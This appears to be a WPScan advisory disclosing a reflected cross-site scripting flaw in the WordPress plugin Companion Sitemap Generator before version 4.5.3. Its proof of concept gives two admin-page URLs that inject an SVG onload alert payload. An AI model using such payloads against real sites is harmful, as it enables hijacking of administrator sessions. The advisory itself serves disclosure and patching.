WordPress Plugin Vulnerabilities
Companion Sitemap Generator < 4.5.3 - Reflected XSS
Description
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Proof of Concept
Make a logged-in admin open: https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=<svg/onload=alert(/XSS/)> https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=exclusion&subtabt=<svg/onload=alert(/XSS/)>
Affects Plugins
Fixed in 4.5.3 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-19 (about 10 months ago)
Added
2023-06-19 (about 10 months ago)
Last Updated
2023-06-19 (about 10 months ago)
WPScan 